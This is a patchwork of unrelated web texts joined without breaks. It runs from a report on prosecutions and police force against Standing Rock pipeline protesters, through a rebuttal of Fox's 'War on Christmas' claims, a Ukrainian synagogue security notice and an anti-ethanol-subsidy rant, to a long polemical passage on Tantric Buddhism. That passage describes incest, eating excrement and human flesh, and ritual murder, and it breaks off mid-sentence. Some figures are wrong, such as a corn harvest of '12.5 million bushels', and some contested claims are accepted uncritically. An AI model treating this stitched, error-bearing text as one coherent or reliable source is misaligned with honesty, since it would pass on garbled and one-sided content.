What has happened at Standing Rock highlights the fact that the land through which Energy Transfer Partners, the Dallas-based energy company in which Trump has a financial interest, has constructed the Dakota Access pipeline (DAPL) is contested territory.
“That land is not under North Dakota’s control [since it is Native land] so they [the state] have to deploy themselves and a host of private security firms and resort to violent means, to secure its aim, which also reveals its fragility,” Estes said.
And events at Standing Rock are far from over. Hundreds of court cases against Water Protectors continue. All of them underscore how the state and federal courts in North Dakota are functioning as little more than an adjunct to the repressive machine geared toward punishing those who peacefully stood up and spoke out against an illegal land grab.
Law Enforcement’s Repression of Water Protectors
Rachel Lederman, a civil rights lawyer on the board of the Indigenous-led Water Protector Legal Collective, is leading a civil suit geared towards obtaining an injunction against the use of nonlethal weaponry like rubber bullets and exploding grenades against peaceful Water Protectors. She is thus coordinating the civil response around what she described to Truthout as “the law enforcement repression of the Water Protectors.”
In her interview with Truthout, Lederman said that as the presence of Water Protectors at Standing Rock grew, “the repressive tactics by private security and law enforcement escalated steadily.”
When Lederman arrived at Standing Rock, September 3, 2016, private security hired by DAPL “used attack dogs, mace, and drove trucks into Water Protectors who were simply on a prayer march and were surprised to find DAPL bulldozing through sacred sites.”
She was eyewitness to the incident and described DAPL’s private security as having “brutalized” Water Protectors while law enforcement “stood by and watched.” After this was publicized, law enforcement took over, but Lederman said that she witnessed the pipeline’s private security forces mixed in with them during their activities.
As events continued, law enforcement began making more frequent mass arrests, including one on October 22 when Water Protectors were told, at gunpoint, to get on their knees. During that event, roughly 125 Water Protectors, including two attorneys who were present as legal observers, were arrested.
At that point, law enforcement’s response became “increasingly militarized,” according to Lederman, and North Dakota’s Morton County Sheriff’s Department called in mutual aid from all over the state and surrounding states, as the governor declared a state of emergency.
Lederman, who is also the president of the National Lawyers Guild, S.F. Bay Area Chapter, is representing Vanessa Dundon, who was struck in the eye by a police-fired flaming tear-gas canister. Shortly after Dundon, who will likely lose her eye, was injured, 21-year-old Sophia Wilansky was struck by an explosive device that nearly blew her arm off.
“People have been held in fenced-in areas similar to dog kennels in Morton County Jail, elders have been strip searched and held overnight on cold concrete floors, not fed for long periods of time, shipped around to jails all over the state before being released, often many hours away from Standing Rock,” Lederman said, explaining several of the brutal and repressive tactics used by the state to protect the oil company’s interests. “Phone calls have been denied, and there has been a lot of abuse while in custody.”
After October 22, the militarism continued to escalate with the use of sound cannons, chemical agents and impact munitions. The well-known incident of November 20 on Backwater Bridge included the use of high power water hoses on Water Protectors at night when temperatures were in the 20s, and the shooting of impact munitions, explosive grenades and tear gas canisters indiscriminately into the crowd.
“They were shooting at the medics in the back of the crowd, and hundreds of people were injured that night,” Lederman said. “There were numerous serious injuries from impact grenades. That was the night Vanessa was shot in the eye. It was like a battle zone scene.”
Immediately after this, Lederman became lead attorney in the filing of a class action civil rights lawsuit in federal court against the sheriff of Morton County. It was there that she and other lawyers asked the court to cease the use of what are referred to as “less-lethal weapons.”
In that filing, Lederman and her colleagues presented more than 50 witness declarations, including one from Thomas Frazier, the former police chief in Baltimore, saying that at no point were law enforcement ever overrun by Protectors, and there was never a reason to justify such a high level of force. But the judge, who in a series of rulings has supported the pipeline company and its security forces (including the police), had other ideas.
“Judge Hovland, the presiding judge of the US District Court in North Dakota, denied our request for a preliminary injunction,” Lederman said. “The case seeks both the injunction and damages, so we’ve filed an appeal to the 8th Circuit Court of Appeals.”
Lederman’s outlook for repression, regarding demonstrations at Standing Rock, is grim.
“The reason there are less protests now is a direct result of the law enforcement violence,” she said. “We believe there is an ongoing chilling of free speech to express both political and religious beliefs in opposition to the pipeline due to the district court basically sanctioning the excessive force of law enforcement.”
Nevertheless, she expects their appeal to move forward, and added, “I think it is fairly important to continue to challenge what we see is a blatantly unlawful use of indiscriminant force.”
She notes that the level of repression has been “frightening,” including the infliction of serious injuries.
“Attorneys in allied groups will continue to fight for people’s right to protest — because Trump or no Trump, it is unconstitutional to shoot people without reason, or to arrest people who are not breaking the law,” she concluded. “So we, as Water Protector Legal Collective and other allied legal groups, will continue to challenge these repressive tactics by law enforcement.”
In a glimmer of hope, the 8th Circuit Court of Appeals on April 24th denied law enforcement’s motion to dismiss the Water Protector’s appeal from the denial of the injunction.
The Judge Must Go
Jeffrey Haas has been a criminal defense and civil rights attorney for nearly half a century. A member of the Water Protector Legal Collective, he has previously spoken with Truthout at length about the legal issues at Standing Rock.
Haas and cocounsel Bruce Nestor of Minneapolis represent Brennon Nastacio in federal court, where Nastacio is charged under a statute passed in 1968 to allow federal prosecution of mass protests. Charged with “impeding law enforcement” during a “civil disorder,” Nastacio faces a mandatory minimum sentence of 10 years if convicted. Nestor says this rarely-used federal statute “sets a dangerous precedent, allowing federal prosecution of any mass protest where law enforcement makes claims that it constituted ‘civil disorder.'” Haas and Nestor have filed a request for Judge Hovland to recuse himself from presiding over Nastacio’s federal criminal case. In support of the Motion for Recusal, they have cited several instances of Judge Hovland making statements clearly depicting Water Protectors and their motives in very negative ways.
One of the defendants, Red Fawn Fallis, also filed an affidavit requesting that Hovland recuse himself, and the Water Protector Legal Collective recently released a press release on this as well.
Jeffrey Haas is a member of the Water Protectors Legal Collective and author of The Assassination of Fred Hampton: How the FBI and the Chicago Police Murdered a Black Panther. (Photo: Courtesy of Jeffrey Haas)Haas told Truthout recently that Hovland’s public statements and judicial rulings have put him in a position where he cannot appear to be acting in an unbiased fashion on any of the Standing Rock cases before him. Speaking to Lederman’s comments on Judge Hovland’s denial of her motion for a preliminary injunction, Haas illustrated Hovland’s continuing support for law enforcement.
“Not only did Judge Hovland deny the motion for preliminary injunction, he did so without a hearing,” Haas explained. “That means he accepted the sheriff and other law enforcement’s affidavits as truthful, despite the fact they were challenged by contrary affidavits submitted by plaintiff’s witnesses and experts.”
In a case like this, with a disputed set of facts, it should be clear that a hearing is necessary, according to Haas.
Hovland, before he was on the bench, worked for the law firm that was hired to defend all the law enforcement agencies, cities and counties in North Dakota. One of the families in that same firm owns a large oil company in North Dakota.
In another example of Judge Hovland’s rulings favoring law enforcement and the government, in the pending federal criminal case against Red Fawn Fallis, a federal magistrate judge allowed Fallis — who was charged in a NoDAPL-related incident — to be released from detention. The government appealed that ruling. “Before her attorney Bruce Ellison even had an opportunity to respond, the judge overruled the magistrate, accepted the government’s position and continued the detention of Red Fawn until her trial,” Haas said. “So he has a history of not only ruling for the government, but doing so without a hearing — or in this instance, [without] even giving the defendant an opportunity to respond.
According to Haas, with regard to the state criminal cases, there have been many instances of overcharging Water Protectors, or mischarging them with things they didn’t do.
Dozens of criminal trespass and riot charges have simply been dismissed. For instance, a group of Water Protectors was charged with riot and trespass for an incident on October 10. Defendants came to court from many miles away, ready for trial. Their lawyers filed motions stating the state could not prove the individuals had been given notice of trespass, nor had it shown any of the defendants had been in a riot.
“The judge said he would dismiss the cases due to the lack of evidence, so instead, the prosecutor dismissed those cases and then filed new charges of interfering with a public officer in his duties, and put out warrants for the same people — who were then forced to choose between coming back in six months for a new trial with new charges, or entering a plea and getting a deferred sentence, which many of them have done,” Haas said.
Many Water Protectors have been forced to take plea deals in cases where charges against codefendants were dismissed, in order to avoid the significant costs and time needed for travel, according to Nestor.
Haas explained what that scenario looks like for Water Protectors who have been charged: “You’ve come 1,000 miles. It’s the day before trial and it’s clear the state can’t prove their case. So they dismiss that case and bring a new charge. So you have to post a new bond, plus there is a warrant out for your arrest until you post that bond. Then you have to come back in six months to face a trial on that new charge. So there is a lot of pressure on you just to get it over, without having to do time, or to not have a record, so a number of people have accepted the deal.”
Who Is the Terrorist?
Haas and Nestor are also representing Brennon Nastacio, a Water Protector from San Felipe Pueblo in New Mexico, in state court on charges related to an incident when he de-escalated a situation involving a DAPL security contractor, Kyle Thompson, who was carrying an assault rifle and pistol as he attempted to enter the resistance camps on October 27. At a point when Thompson was facing Water Protectors with a loaded AR-15 assault rifle, Nastacio resolved the situation by having him hand over the gun and himself to the Bureau of Indian Affairs (BIA).
The BIA then turned Thompson over to the FBI, who transported him to the Morton County Sheriff, who released him. Shortly thereafter, Nastacio was charged with a Class C Felony for allegedly terrorizing Kyle Thompson despite the fact that ample video evidence — including this video of the entire incident — backs up Nastacio’s account of the events.
Nastacio told Truthout he was truly shocked to find out over Facebook that he was on the Morton County Sherriff’s most-wanted list.
“I kept wanting to wake up and find this all not to be true, but I’ve not woken up yet to that,” he said. “I couldn’t believe it. I came upon a tense and fearful situation that day, and acted in a manner thinking I was saving a lot of people’s lives, including the guy with the rifle. I have family in law enforcement, and they were all amazed. They tell me I did nothing wrong.”
Nastacio is now back in Colorado working at his home remodeling business in Denver, awaiting his trial.
He is demoralized by what has happened to him.
“Being Native American, we’ve dealt with racism, but after being at Standing Rock and witnessing what Natives go through on a daily basis for hundreds of years, it’s disheartening,” he said. “I’ve seen a lot of injustice.”
Every Sitting President Is a “Town Destroyer”
In addition to all of these strategies, Haas outlined numerous repressive tactics used by the State against the Water Protectors. These included mass arrests as an attempt to deter protests, incarceration and the setting of high bonds, police in riot gear, massive shows of force and federal charges against people perceived as leaders of the protests. Additionally there was a major increase in federal involvement by the BIA, FBI and ATF (Alcohol, Tobacco and Firearms.)
Despite this widespread repression of people nonviolently attempting to keep their water from being polluted, and intensifying criminalization of dissent of any kind, Estes sees Standing Rock as a touchstone of resistance going forward.
“It’s evolved into a more widespread movement and it’s raised the consciousness of people,” he said. “There are more political possibilities now for the movement than there were a year ago.”
And with Trump poised to sign an order that will cause even more pipelines to be built, the stage is set for broader confrontation.
Estes cautions against those who think Trump is acting in a truly exceptional way.
“The Haudenosaunee [Iroquois], who fought George Washington … call every sitting president ‘town destroyer,'” he said. “I think that is apt.”
Estes sees the state violence at Standing Rock as a continuation of state brutality against Indigenous people across the US, which runs alongside tactics like naming cruise missiles “Tomahawks” and helicopters “Blackhawks.”
“These all come from 19th century Indian wars,” he said. “Standing Rock is a continuation of these wars. Since the 1787 Northwest Ordinance, which spelled out the use of ‘just war’ against Indigenous, the message has been, ‘Acquiesce to us, or face the consequences’ — which means negotiate land cessions and concede to the US government or war will be waged against you. And that is exactly what happened at Standing Rock.”
Moreover, Estes believes that during this historical moment, when we are talking about Indigenous decolonization, we need to also be discussing what is happening regarding budget cuts to schools, healthcare and social services.
“All these issues are deeply connected, and Standing Rock was a moment of a larger movement,” he concluded. “The settler state uses police violence for their aims, and out of that, you can violently secure the trespass of a pipeline to continue dispossessing Indigenous land and water. But you cannot dispossess us of our experience of Standing Rock, as that will reverberate far into the future.”You would think that by now, what with the "Happy Holidays" promos and its own "Holiday Party," Fox would just forget the whole "War on Christmas" war. For years now, Fox has heavily promoted this idea that "secular progressives" are engaged in a so-called "war" on Christmas, declaring over and over that the holiday is "under attack." In its efforts to continue this overhyped, manufactured non-controversy, the network has taken to misleading viewers and even has accused the Democrats of "waging their own War on Christmas." When all that failed, Fox tried to rebrand the "War on Christmas" -- the "War on Christianity" -- except that facts, predictably, got in the way of that campaign. Today, Fox has a new culprit to go after for supposedly waging a War on Christmas. It's attacking the NBA for scheduling five games on Christmas Day.
The Fox Nation post linked to a story about Los Angeles Lakers' coach Phil Jackson's displeasure at having to work on Christmas Day. Jackson reportedly stated: "It's like Christian holidays don't mean anything to them anymore.... We just go out and play and entertain the TV. It's really weird." But as the original ESPN.com article noted, the Lakers game this year will mark the 13th time in 15 seasons the team has played on Christmas Day. The Lakers have played on Christmas every year since 1999, when Jackson took over as head coach, and 36 times in all; that record is eclipsed only by the Knicks' 45 game appearances on that day. Not only that, but NBA basketball games have been played on Christmas since the league's inception.
Moreover, five NBA games were played on Christmas in 2008 and 2009 as well. Three were played on Christmas Day 2007, and at least a couple have been played on Christmas since 1991. And guess what else? Sixty-six games were played during Hanukkah this year, from December 1-8, and 47 games during Passover, from March 30 to April 5. I'm sure Fox can do the math on how many games were played this year during Muslim holidays.
Oh, and incidentally, the 3D version of Jack Black's Gulliver's Travels hits theaters nationwide on Christmas Day. The movie will be released by 20th Century Fox (a News Corp. subsidiary, like Fox News). If the NBA is engaged in a "War on Christmas," isn't Fox?
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At 4:00am this morning, a truck appeared at the gate of the JCC and Synagogue of the Jewish community of Zahaproziah, Ukraine, which was recently firebombed. Flowers designed in a style traditionally sent to funerals were left at the gate.
The flowers were arranged to reflect the colors of the Ukrainian flag, with the number 8 on top.
The guards responded quickly and questioned the driver, but he said he only knew that they were sent to the community as a gift towards the 8th of March, which is International Women’s Day, reports the FJC.
In response, the community members in town have been alerted to keep an open eye and be extra careful. Additional security precautions have been taken with the help of funds raised by the FJC’s emergency campaign.
To help the FJC continue securing the Jewish institutions of Ukraine, donations can be made here.
Photo courtesy of Shturem.net"Today, the government decides and they misdirect the investment to their friends in the corn industry or the food industry. Think how many taxpayer dollars have been spent on corn [for ethanol], and there's nobody now really defending that as an efficient way to create diesel fuel or ethanol. The money is spent for political reasons and not for economic reasons. It's the worst way in the world to try to develop an alternative fuel." - Ron Paul
When bipartisanship breaks out in Washington DC, check to make sure your wallet is still in your pocket. Every time you fill up your car this winter you are participating in the biggest taxpayer swindle in history. Forcing consumers to use domestically produced ethanol is one of the single biggest boondoggles ever committed by Washington DC.
Ethanol prices have soared 30% in the last year as the supplies of corn have plunged. Only a policy created in Washington DC could drive up the prices of gasoline and food, with the added benefits of costing the American taxpayer billions in tax subsidies and killing people in 3rd world countries.
The grand lame duck Congress tax compromise extended a 45 cent incentive to ethanol refiners for each gallon of the fuel blended with gasoline and renewed a 54 cent tariff on Brazilian imports. The extension of these subsidies, besides costing American taxpayers $6 billion per year, has the added benefit of driving up food costs across the globe, causing food riots in Tunisia, and resulting in the starving of poor peasants throughout the world.
This taxpayer boondoggle is a real feather in the cap of that fiscally conservative curmudgeon Senator Charles Grassley. He was joined in this noble effort by another fiscal conservative, presidential hopeful John Thune. It seems these guys hate wasteful spending, except when it benefits their states. The bipartisanship in this effort was truly touching, as Democrats Kent Conrad and Tom Harkin also brought home the pork for their states.
A bipartisan group of 15 senators signed a letter in late November demanding an extension of US ethanol subsidies. I wonder if the fact they have received hundreds of thousands of dollars in campaign contributions during the past six years from pro-ethanol companies and interest groups like Archer Daniels Midland (ADM), Monsanto (MON), the National Corn Growers Association, and the Iowa Renewable Fuels Association had anything to do with this demand. You can always count on a Senator to do what's best for his re-election campaign rather than what is best for the country. These symbols of political integrity will always spout the standard talking points:
Promoting ethanol reduces our dependence on foreign oil
Promoting ethanol reduces our dependence on foreign oil Ethanol is green renewable energy
Ethanol is cheaper than gasoline
As we all know when dealing with a politician, "half the truth, is often a great lie."Corn is the most widely produced feed grain in the United States, accounting for more than 90% of total US feed grain production. 81.4 million acres of land is utilized to grow corn, with the majority of the crop grown in the Midwest. Although most of the crop is used to feed livestock, corn is also processed into food and industrial products including starch, sweeteners, corn oil, beverage and industrial alcohol, yogurt, latex paint, cosmetics, and last but not least, fuel Ethanol.Of the 10,000 items in your average grocery store, at least 2,500 items use corn in some form during the production or processing. The United States is the major player in the world corn market providing more than 50% of the world's corn supply. In excess of 20% of our corn crop had been exported to other countries, but the government ethanol mandates have reduced the amount that is available to export.This year, the US will harvest approximately 12.5 million bushels of corn. More than 42% will be used to feed livestock in the US, another 40% will be used to produce government mandated ethanol fuel, 2% will be used for food products, and 16% is exported to other countries. Ending stocks are down 963 million bushels |
of a god the same as a sliver of glass, if unheard of masculine force can be received through the loving donations of trained hetaeras...” (Grünwedel, Kalacakra IV, p. 209) — that is, the highest masculine can be won from the basest feminine. In this light, the Chakrasamvara Tantra recommends erotic praxis with haughty, moody, proud, dominant, wild, and untamable women, and the yogini Laksminkara urges the reader to revere a woman who is “mutilated and misshapen” (Gäng, 1988, p. 59). The Maha Siddha Tilopa also adhered strictly to the tantric politics of inversion and copulated with a woman, who bore the “eighteen marks of ugliness”, whatever they may be. His pupil Naropa followed in his footsteps and was initiated by an “ugly leprous old crone”. The later’s successor, Marpa, received his initiation at the hands of a “foul-smelling ‘funeral-place dakini’... with long emaciated breasts and huge sex organs of offensive odor” (Walker, 1982, p. 75). Whilst the ugly “love partners” threaten at the outset the way to salvation and the life of an adept, at the end of the tantric process of inversion they shine like fairy-tale beauties, who have been transformed from toads into princesses. Thus, after the transmutation, a “jackal jaws” has become the “dakini of wisdom”; a “lion’s gob” the honourable “Buddha dakini” with “a bluish complexion and a radiant smile”; a “beak-face” a “jewel dakini” with an “pretty, white face” and so forth (Stevens, 1990, p. 97). All these charming creatures are under the complete control of their guru, who through the conquest of the demonic woman has attained the qualification of sorcerer and now calls the tune for the transformed demonesses. For readily understandable reasons the fact remains that in the sexual magic practices a preference is shown for working with young and attractive girls. But even for this a paradoxical explanation is offered: Due to their attractiveness the virgins are far more dangerous for the yogi than an old hag. The chances that he lose his emotional and sexual self-control in such a relationship are thus many times higher. This means that attractive women present him with a even greater challenge than do the ugly. The tantras are more consistent when applying the “law of inversion” to the social class of the female partners than they are with regard to age and beauty. Women from lower castes are not just recommendable, but rather appear to be downright necessary for the performance of certain rituals. The Kalachakra Tantra lists female gardeners, butchers, potters, whores, and needle-workers among its recommendations (Grünwedel, Kalacakra III, pp. 130, 131). In other texts there is talk of female pig-herds, actresses, dancers, singers, washerwomen, barmaids, weavers and similar. “Courtesans are also favored”, writes the Tibet researcher Matthias Hermanns, “since the more lecherous, depraved, dirty, morally repugnant and dissolute they are, the better suited they are to their role” (Hermanns, 1975, p. 191). This appraisal is in accord with the call of the Tantric Anangavajra to accept any mudra, whatever nature she may have, since “everything having its existence in the ultimate non-dual substance, nothing can be harmful for yoga; and therefore the yogin should enjoy everything to his heart’s content without the least fear or hesitation” (Dasgupta, 1974, p. 184). Time and again, so-called candalis are mentioned as the Tantric’s sexual partners. These are girls from the lowest caste, who eke out a meager living with all manner of work around the crematoria. It is evident from a commentary upon the Hevajra Tantra that among other things they there offered themselves to the vagrant yogis for the latter’s sexual practices (Snellgrove, 1987, vol. 1, p. 168). For an orthodox Hindu such creatures were considered untouchable. If even the shadow of a candali fell upon a Hindu, the disastrous consequences were life-long for the latter. Since it annulled the strict prescriptions of the Hindu caste system with its rituals, a fundamentally social revolutionary attitude has been ascribed to Tantric Buddhism. In particular, modern feminists accredit it with this (Shaw, 1994, p. 62). But, aside from the obvious fact that women from the lower classes are more readily available as sexual partners, here too the “law of inversion” is considered decisive for the choice to be made. The social inferiority of the woman increases the “antinomism” of the tantric rituals. “It is the symbol of the ‘washerwoman’ and the ‘courtesan’ [which are] of decisive significance”, we may read in a book by Mircea Eliade, “and we must familiarize ourselves with the fact that, in accordance with the tantric doctrine of the identity of opposites, the ‘most noble and valuable’ is precisely [to be found] hidden within the ‘basest and most banal’” (Eliade, 1985, p. 261, note 204). Likewise, when women from the higher castes (Brahmans, ‘warriors’, or rich business people) are on the Tantric’s wish list, especially when they are married, the law of inversion functions here as well, since a rigid taboo is broken through the employment of a wife from the upper classes — an indicator for the boundless power of the yogi. The incest taboo There is indisputable evidence from archaic societies for the violation of the incest prohibition: there is hardly a tantra of the higher class in which sexual intercourse with one’s own mother or daughter, with aunts or sisters-in-law is not encouraged. Here too the German lama Govinda emphatically protests against taking the texts literally. It would be downright ridiculous to think “that Tantric Buddhists really did encourage incest and sexual deviations (Govinda, 1991, p. 113). Mother, sister, daughter and so on stood for the four elements, egomania, or something similar. But such symbolic assignments do not necessarily contradict the possibility of an incestuous praxis, which is in fact found not just in the Tibet of old, but also in totally independent cultures scattered all around the world. Here too, it remains valid that the yogi, who is as a matter of principle interested in a fundamental violation of proscriptions, must really long for an incestuous relationship. There is also no lack of historical reports. We present the curse of a puritanically minded lama from the 16th century, who addressed the excesses of his libertine colleagues as follows: “In executing the rites of sexual union the people copulate without regard to blood relations... You are more impure than dogs and pigs. As you have offered the pure gods feces, urine, sperm and blood, you will be reborn in the swamp of rotten cadavers” (Paz, 1984, p.95). Eating and drinking impure substances A central role in the rites is played by the tantric meal. It is absolutely forbidden for Buddhist monks to eat meat or drink alcohol. This taboo is also deliberately broken by Vajrayana adepts. To make the transgression more radical, the consumption of types of meat which are generally considered “forbidden” in Indian society is desired: elephant meat, horsemeat, dogflesh, beef, and human flesh. The latter goes under the name of maha mamsa, the ‘great flesh’. It usually came from the dead, and is a “meat of those who died due to their own karma, who were killed in battle due to evil karma or due to their own fault”, Pundarika writes in his traditional Kalachakra commentary, and goes on to add that it is sensible to consume this substance in pill form (Newman, 1987, p. 266). Small amounts of tit are also recommended in a modern text on the Kalachakra Tantra as well (Dhargyey, 1985, p. 25). There are recipes which distinguish between the various body parts and demand the consumption of brain, liver, lungs, intestines, testes and so forth for particular ceremonies. The five taboo types of meat are granted a sacramental character. Within them are concentrated the energies of the highest Buddhas, who are able to appear through the “law of inversion”. The texts thus speak of the “five ambrosias” or “five nectars”. Other impure “foods” have also been assigned to the five Dhyani Buddhas. Ratnasambhava is associated with blood, Amitabha with semen, Amoghasiddhi with human flesh, Aksobhya with urine, Vairocana with excrement (Wayman, 1973, p. 116). The Candamaharosana Tantra lists with relish the particular substances which are offered to the adept by his wisdom consort during the sexual magic rituals and which he must swallow: excrement, urine, saliva, leftovers from between her teeth, lipstick, dish-water, vomit, the wash water which remains after her anus has been cleaned (George, 1974, pp. 73, 78, 79) Those who “make the excrement and urine their food, will be truly happy”, promises the Guhyasamaja Tantra (quoted by Gäng, 1988, p. 134). In the Hevajra Tantra the adept must drink the menstrual blood of his mudra out of a skull bowl (Farrow and Menon, 1992, p. 98). But rotten fish, sewer water, canine feces, corpse fat, the excrement of the dead, sanitary napkins as well as all conceivable “intoxicating drinks” are also consumed (Walker, 1982, pp. 80–84). There exists a strict commandment that the practicing yogi may not feel any disgust in consuming these impure substances. “One should never feel disgusted by excrement, urine, semen or blood” (quoted by Gäng, 1988, p. 266). Fundamentally, “he must eat and drink whatever he obtains and he should not hold any notions regarding likes and dislikes” (Farrow and Menon, 1992, p. 67). But it is not just in the tantric rites, in Tibetan medicine as well all manner of human and animal excretions are employed for healing purposes. The excrement and urine of higher lamas are sought-after medicines. Processed into pills and offered for sale, they once played -and now play once more — a significant role in the business activities of Tibetan and exile-Tibetan monasteries. Naturally, the highest prices are paid for the excretions of the supreme hierarch, the Dalai Lama. There is a report on the young Fourteenth god-king’s sojourn in Beijing (in 1954) which recounts how His Holiness’s excrement was collected daily in a golden pot in order to then be sent to Lhasa and processed into a medication there (Grunfeld, 1996, p. 22). Even if this source came from the Chinese camp, it can be given credence without further ado, since corresponding practices were common throughout the entire country. The "feast on fæces fallacy" As damtsig has come into contact with Western psychological materialism, self-defence tactics have taken a variety of forms. The one that has most intrigued me is what I have dubbed the "feast on fæces fallacy" - of which there appear to be two variations. I encountered the first during my introduction to Vajrayana at Vajradhatu Seminary - a three-month practice and study retreat designed by Chögyam Trungpa Rinpoche. I attended this retreat after Trungpa Rinpoche's death, when his son, Sakyong Mipham Rinpoche, taught it. As the summer progressed and the teachings grew more challenging, speculation about samaya heated up. The speculation took on an odd repeating pattern. At some point in every conversation on the topic, someone would inevitably say, "I heard that samaya means that if the Sakyong tells you to eat shit, you have to do it." The conversation would then devolve into everyone deciding whether they would eat shit or not. After puzzling over it for a while, my eventual response to this statement was, "How likely is it that the Sakyong would ask you to eat shit?" The whole discussion was a scare tactic, however unconscious it may have been. It presented one with an extreme, reductio ad absurdum proposition from which one could quite justifiably turn away in disgust. In the process, it just so happened that one also cut oneself off from finding out what samaya actually did mean. That version of the Feast on Fæces Fallacy operates by the student scaring himself or herself away from damtsig. The second variation on this theme operates to discredit the Lama with whom the student might make the vow. A good example of this was in a report on the first conference of Western Buddhist teachers with HH Dalai Lama in Dharamsala in 1993. At one of the conference sessions, Robert Thurman reportedly said that anyone who allowed himself or herself to be called a vajra master should be presented with a plate of excrement and a fork. If he or she was not capable of eating it, based on the principle of rochig (ro gcig - one taste), then he or she was a fraud and should take up knitting. This politically devious perspective is one which seeks to neuter every Lama who is not invested with the correct degree of current western adulation. Evidently a Lama who denies being a vajra master but who is nonetheless regarded as a vajra master is exempt from the offer of Robert Thurman's fæcal feast. From: The "Feast on Fæces Fallacy" Or - how not to scare oneself away from liberation - by Nora Cameron in: http://www.damtsig.org/articles/faeces.html Necrophilia In a brilliant essay on Tantrism, the Mexican essayist and poet Octavio Paz drew attention to the fact that the great fondness of the Mexicans for skeletons and skulls could be found nowhere else in the world except in the Buddhist ritual practices of the Tibetans and Nepalese. The difference lies in the fact that in Mexico the death figures are regarded as a mockery of life and the living, whilst in Tantrism they are “horrific and obscene” (Paz, 1984, p. 94). This connection between death and sexuality is indeed a popular leitmotiv in Tibetan art. In scroll images the tantric couples are appropriately equipped with skull bowls and cleavers, wear necklaces of severed heads and trample around upon corpses whilst holding one another in the embrace of sexual union. A general, indeed dominant necrophiliac strain in Tibetan culture cannot be overlooked. Fokke Sierksma’s work includes a description of a meditation cell in which a lama had been immured. It was decorated with human hair, skin and bones, which were probably supplied by the dismemberers of corpses. Strung on a line were a number of dried female breasts. The eating bowl of the immured monk was not the usual human skull, but was also made from the cured skin of a woman’s breast (Sierksma, 1966, p. 189). Such macabre ambiences can be dismissed as marginal excesses, which is indeed what they are in the full sweep of Tibetan culture. But they nonetheless stand in a deep meaningful and symbolic connection with the paradoxical philosophy of Tantrism, of Buddhism in general even, which since its beginnings recommended as exercises meditation upon corpses in the various stages of decomposition in order to recognize the transience of all being. Alone the early Buddhist contempt for life, which locked the gateway to nirvana, is sufficient to understand the regular fascination with the morbid, the macabre and the decay of the body which characterizes Lamaism. Crematoria, charnel fields, cemeteries, funeral pyres, graves, but also places where a murder was carried out or a bloody battle was fought are considered, in accord with the “law of inversion”, to be especially suitable locations for the performance of the tantric rites with a wisdom consort. The sacred art of Tibet also revels in macabre subjects. In illustrations of the wrathful deities of the Tibetan pantheon, their hellish radiation is transferred to the landscape and the heavens and transform everything into a nature morte in the truest sense of the word. Black whirlwinds and greenish poisonous vapors sweep across infertile plains. Deep red rods of lightning flash through the night and rent clouds, ridden by witches, rage across a pitch black sky. Pieces of corpses are scattered everywhere, and are gnawed at by all manner of repulsive beasts of prey. In order to explain the morbidity of Tibetan monastic culture, the Dutch cultural psychologist Fokke Sierksma makes reference to Sigmund Freud’s concept of a “death wish” (thanatos). Interestingly, a comparison to Buddhism occurs to the famous psychoanalyst when describing the structure of the necrophiliac urge, which he attributes to, among other things, the “nirvana principle”. This he understand to be a general desire for inactivity, rest, resolution, and death, which is claimed to be innate to all life. But in addition to this, since Freud, the death wish also exhibits a concrete sadistic and masochistic component. Both attitudes are expressions of aggression, the one directed outwards (sadism), the other directed inwardly (masochism). Ritual murder The most aggressive form of the externalized death wish is murder. It remains as the final taboo violation within the tantric scheme to still be examined. The ritual killing of people to appease the gods is a sacred deed in many religions. In no sense do such ritual sacrifices belong to the past, rather they still play a role today, for example in the tantric Kali cults of India. Even children are offered up to the cruel goddess on her bloody altars (Time, August 1997, p. 18). Among the Buddhist, in particular Tibetan, Tantrics such acts of violence are not so well-known. We must therefore very carefully pose the question of whether a ritual murder can here too be a part of the cult activity. It is certain at least that all the texts of the Highest Tantra class verbally call for murder. The adept who seeks refuge in the Dhyani Buddha Akshobya meditates upon the various forms of hate up to and including aggressive killing. Of course, in this case too, a taboo violation is to be transformed in accordance with the “law of inversion” into its opposite, the attainment of eternal life. Thus, when the Guhyasamaja Tantra requires of the adept that “he should kill all sentient beings with this secret thunderbolt” (Wayman, 1977, p. 309), then — according to doctrine — this should occur so as to free them from suffering. It is further seen as an honorable deed to “deliver” the world from people of whom a yogi knows that they will in future commit nasty crimes. Thus Padmasambhava, the founder of Tibetan Buddhism, in his childhood killed a boy whose future abominable deeds he foresaw. Maha Siddha Virupa and an impaled human But it is not just pure compassion or a transformatory intent which lies behind the already mentioned calls to murder in the tantras, above all not then when they are directed at the enemies of Buddhism. As, for example, in the rites of the Hevajra Tantra: “After having announced the intention to the guru and accomplished beings”, it says there, “perform with mercy the rite of killing of one who is a non-believer of the teachings of the Buddha and the detractors of the gurus and Buddhas. One should emanate such a person, visualizing his form as being upside-down, vomiting blood, trembling and with hair in disarray. Imagine a blazing needle entering his back. Then by envisioning the seed-syllable of the Fire element in his heart he is killed instantly” (quoted by Farrow and Menon, 1992, p. 276). The Guhyasamaja Tantra also offers instructions on how to — as in voodoo magic — create images of the opponent and inflict “murderous” injuries upon these, which then actually occur in reality: “One draws a man or a woman in chalk or charcoal or similar. One projects an ax in the hand. Then one projects the way in which the throat is slit” (quoted by Gäng, 1988, p. 225). At another point the enemy is bewitched, poisoned, enslaved, or paralyzed. Corresponding sentences are to be found in the Kalachakra Tantra. There too the adept is urged to murder a being which has violated the Buddhist teachings. The text requires, however, that this be carried out with compassion (Dalai Lama XIV, 1985, p. 349). The destruction of opponents via magical means is part of the basic training of any tantric adept. For example, we learn from the Hevajra Tantra a magic spell with the help of which all the soldiers of an enemy army can be decapitated at one stroke (Farrow and Menon, 1992, p. 30). There we can also find how to produce a blazing fever in the enemy’s body and let it be vaporized (Farrow and Menon, 1992, p. 31). Such magical killing practices were — as we shall show –in no sense marginal to Tibetan religious history, rather they gained entry to the broad-scale politics of the Dalai Lamas. The destructive rage does not even shy away from titans, gods, or Buddhas. In contrast, through the destruction of the highest beings the Tantric absorbs their power and becomes an arch-god. Even here things sometimes take a sadistic turn, as for example in the Guhyasamaja Tantra, where the murder of a Buddha is demanded: “One douses him in blood, one douses him in water, one douses him in excrement and urine, one turns him over, stamps on his member, then one makes use of the King of Wrath. If this is completed eight hundred times then even a Buddha is certain to disintegrate” (quoted by Gäng, 1988, p. 219). In order to effectively perform this Buddha murder, the yogi invokes an entire pandemonium, whose grotesque appearance could have been modeled on a work by Hieronymus Bosch: “He projects the threat of demons, manifold, raw, horrible, hardened by rage. Through this even the diamond bearer [the Highest Buddha] dies. He projects how he is eaten by owls, crows, by rutting vultures with long beaks. Thus even the Buddha is destroyed with certainty. A black snake, extremely brutish, which makes the fearful be afraid.... It rears up, higher than the forehead. 